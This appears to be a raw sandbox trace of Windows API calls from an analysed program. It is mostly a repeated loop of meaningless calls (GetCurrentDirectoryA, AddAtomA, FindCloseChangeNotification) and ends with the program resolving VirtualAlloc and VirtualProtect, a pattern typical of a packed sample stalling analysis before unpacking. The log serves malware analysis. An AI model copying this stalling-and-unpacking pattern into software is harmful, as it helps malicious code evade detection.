GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.348] AddAtomA (lpString=0x0) returned 0x0 [0048.348] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.348] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.348] AddAtomA (lpString=0x0) returned 0x0 [0048.348] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.348] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.348] AddAtomA (lpString=0x0) returned 0x0 [0048.348] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.348] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.348] AddAtomA (lpString=0x0) returned 0x0 [0048.349] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.349] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.349] AddAtomA (lpString=0x0) returned 0x0 [0048.349] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.349] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.349] AddAtomA (lpString=0x0) returned 0x0 [0048.349] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.349] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.349] AddAtomA (lpString=0x0) returned 0x0 [0048.349] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.349] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.349] AddAtomA (lpString=0x0) returned 0x0 [0048.349] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.349] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.349] AddAtomA (lpString=0x0) returned 0x0 [0048.349] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.349] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.349] AddAtomA (lpString=0x0) returned 0x0 [0048.349] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.349] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.349] AddAtomA (lpString=0x0) returned 0x0 [0048.349] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.349] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.349] AddAtomA (lpString=0x0) returned 0x0 [0048.349] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.350] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.350] AddAtomA (lpString=0x0) returned 0x0 [0048.350] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.350] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.350] AddAtomA (lpString=0x0) returned 0x0 [0048.350] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.350] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.350] AddAtomA (lpString=0x0) returned 0x0 [0048.350] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.350] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.350] AddAtomA (lpString=0x0) returned 0x0 [0048.350] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.350] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.350] AddAtomA (lpString=0x0) returned 0x0 [0048.350] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.350] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.350] AddAtomA (lpString=0x0) returned 0x0 [0048.350] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.350] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.350] AddAtomA (lpString=0x0) returned 0x0 [0048.350] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.350] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.350] AddAtomA (lpString=0x0) returned 0x0 [0048.350] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.350] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.350] AddAtomA (lpString=0x0) returned 0x0 [0048.350] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.350] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.350] AddAtomA (lpString=0x0) returned 0x0 [0048.350] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.350] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.350] AddAtomA (lpString=0x0) returned 0x0 [0048.350] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.350] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.351] AddAtomA (lpString=0x0) returned 0x0 [0048.351] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.351] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.351] AddAtomA (lpString=0x0) returned 0x0 [0048.351] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.351] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.351] AddAtomA (lpString=0x0) returned 0x0 [0048.351] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.351] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.351] AddAtomA (lpString=0x0) returned 0x0 [0048.351] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.351] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.351] AddAtomA (lpString=0x0) returned 0x0 [0048.351] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.351] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.351] AddAtomA (lpString=0x0) returned 0x0 [0048.351] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.351] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.351] AddAtomA (lpString=0x0) returned 0x0 [0048.351] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.351] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.351] AddAtomA (lpString=0x0) returned 0x0 [0048.351] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.351] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.351] AddAtomA (lpString=0x0) returned 0x0 [0048.351] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.351] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.351] AddAtomA (lpString=0x0) returned 0x0 [0048.351] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.351] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.351] AddAtomA (lpString=0x0) returned 0x0 [0048.351] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.351] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.351] AddAtomA (lpString=0x0) returned 0x0 [0048.352] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.352] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.352] AddAtomA (lpString=0x0) returned 0x0 [0048.352] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.352] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.352] AddAtomA (lpString=0x0) returned 0x0 [0048.352] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.352] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.352] AddAtomA (lpString=0x0) returned 0x0 [0048.352] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.352] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.352] AddAtomA (lpString=0x0) returned 0x0 [0048.352] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.352] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.352] AddAtomA (lpString=0x0) returned 0x0 [0048.352] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.352] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.352] AddAtomA (lpString=0x0) returned 0x0 [0048.352] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.352] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.352] AddAtomA (lpString=0x0) returned 0x0 [0048.352] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.352] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.352] AddAtomA (lpString=0x0) returned 0x0 [0048.352] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.352] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.352] AddAtomA (lpString=0x0) returned 0x0 [0048.352] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.352] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.352] AddAtomA (lpString=0x0) returned 0x0 [0048.352] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.352] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.352] AddAtomA (lpString=0x0) returned 0x0 [0048.353] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.353] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.353] AddAtomA (lpString=0x0) returned 0x0 [0048.353] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.353] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.353] AddAtomA (lpString=0x0) returned 0x0 [0048.353] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.353] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.353] AddAtomA (lpString=0x0) returned 0x0 [0048.353] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.353] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.353] AddAtomA (lpString=0x0) returned 0x0 [0048.353] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.353] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.353] AddAtomA (lpString=0x0) returned 0x0 [0048.353] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.353] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.353] AddAtomA (lpString=0x0) returned 0x0 [0048.353] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.353] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.353] AddAtomA (lpString=0x0) returned 0x0 [0048.353] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.353] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.353] AddAtomA (lpString=0x0) returned 0x0 [0048.353] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.353] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.353] AddAtomA (lpString=0x0) returned 0x0 [0048.353] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.353] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.353] AddAtomA (lpString=0x0) returned 0x0 [0048.353] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.353] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.353] AddAtomA (lpString=0x0) returned 0x0 [0048.353] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.354] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.354] AddAtomA (lpString=0x0) returned 0x0 [0048.354] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.354] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.354] AddAtomA (lpString=0x0) returned 0x0 [0048.354] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.354] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.354] AddAtomA (lpString=0x0) returned 0x0 [0048.354] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.354] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.354] AddAtomA (lpString=0x0) returned 0x0 [0048.354] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.354] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.354] AddAtomA (lpString=0x0) returned 0x0 [0048.354] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.354] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.354] AddAtomA (lpString=0x0) returned 0x0 [0048.354] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.354] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.354] AddAtomA (lpString=0x0) returned 0x0 [0048.354] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.354] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.354] AddAtomA (lpString=0x0) returned 0x0 [0048.354] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.354] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.354] AddAtomA (lpString=0x0) returned 0x0 [0048.354] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.354] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.354] AddAtomA (lpString=0x0) returned 0x0 [0048.354] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.354] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.354] AddAtomA (lpString=0x0) returned 0x0 [0048.354] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.355] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.355] AddAtomA (lpString=0x0) returned 0x0 [0048.355] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.355] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.355] AddAtomA (lpString=0x0) returned 0x0 [0048.355] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.355] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.355] AddAtomA (lpString=0x0) returned 0x0 [0048.355] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.355] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.355] AddAtomA (lpString=0x0) returned 0x0 [0048.355] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.355] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.355] AddAtomA (lpString=0x0) returned 0x0 [0048.355] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.355] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.355] AddAtomA (lpString=0x0) returned 0x0 [0048.355] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.355] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.355] AddAtomA (lpString=0x0) returned 0x0 [0048.355] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.355] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.355] AddAtomA (lpString=0x0) returned 0x0 [0048.355] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.355] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.355] AddAtomA (lpString=0x0) returned 0x0 [0048.355] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.355] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.355] AddAtomA (lpString=0x0) returned 0x0 [0048.355] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.355] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.355] AddAtomA (lpString=0x0) returned 0x0 [0048.355] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.356] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.356] AddAtomA (lpString=0x0) returned 0x0 [0048.356] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.356] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.356] AddAtomA (lpString=0x0) returned 0x0 [0048.356] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.356] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.356] AddAtomA (lpString=0x0) returned 0x0 [0048.356] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.356] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.356] AddAtomA (lpString=0x0) returned 0x0 [0048.356] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.356] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.356] AddAtomA (lpString=0x0) returned 0x0 [0048.356] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.356] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.356] AddAtomA (lpString=0x0) returned 0x0 [0048.356] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.356] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.356] AddAtomA (lpString=0x0) returned 0x0 [0048.356] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.356] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.356] AddAtomA (lpString=0x0) returned 0x0 [0048.356] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.356] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.356] AddAtomA (lpString=0x0) returned 0x0 [0048.356] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.356] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.356] AddAtomA (lpString=0x0) returned 0x0 [0048.356] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.356] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.356] AddAtomA (lpString=0x0) returned 0x0 [0048.356] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.357] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.357] AddAtomA (lpString=0x0) returned 0x0 [0048.357] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.357] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.357] AddAtomA (lpString=0x0) returned 0x0 [0048.357] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.357] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.357] AddAtomA (lpString=0x0) returned 0x0 [0048.357] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.357] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.357] AddAtomA (lpString=0x0) returned 0x0 [0048.357] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.357] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.357] AddAtomA (lpString=0x0) returned 0x0 [0048.357] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.357] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.357] AddAtomA (lpString=0x0) returned 0x0 [0048.357] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.357] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.357] AddAtomA (lpString=0x0) returned 0x0 [0048.357] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.357] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.357] AddAtomA (lpString=0x0) returned 0x0 [0048.357] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.357] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.357] AddAtomA (lpString=0x0) returned 0x0 [0048.357] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.357] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.357] AddAtomA (lpString=0x0) returned 0x0 [0048.357] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.357] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.357] AddAtomA (lpString=0x0) returned 0x0 [0048.357] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.357] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.358] AddAtomA (lpString=0x0) returned 0x0 [0048.358] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.358] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.358] AddAtomA (lpString=0x0) returned 0x0 [0048.358] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.358] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.358] AddAtomA (lpString=0x0) returned 0x0 [0048.358] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.358] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.358] AddAtomA (lpString=0x0) returned 0x0 [0048.358] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.358] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.358] AddAtomA (lpString=0x0) returned 0x0 [0048.358] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.358] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.358] AddAtomA (lpString=0x0) returned 0x0 [0048.358] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.358] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.358] AddAtomA (lpString=0x0) returned 0x0 [0048.358] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.358] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.358] AddAtomA (lpString=0x0) returned 0x0 [0048.358] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.358] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.358] AddAtomA (lpString=0x0) returned 0x0 [0048.358] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0048.358] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0048.425] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0048.425] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0048.425] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0048.425] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0048.425] 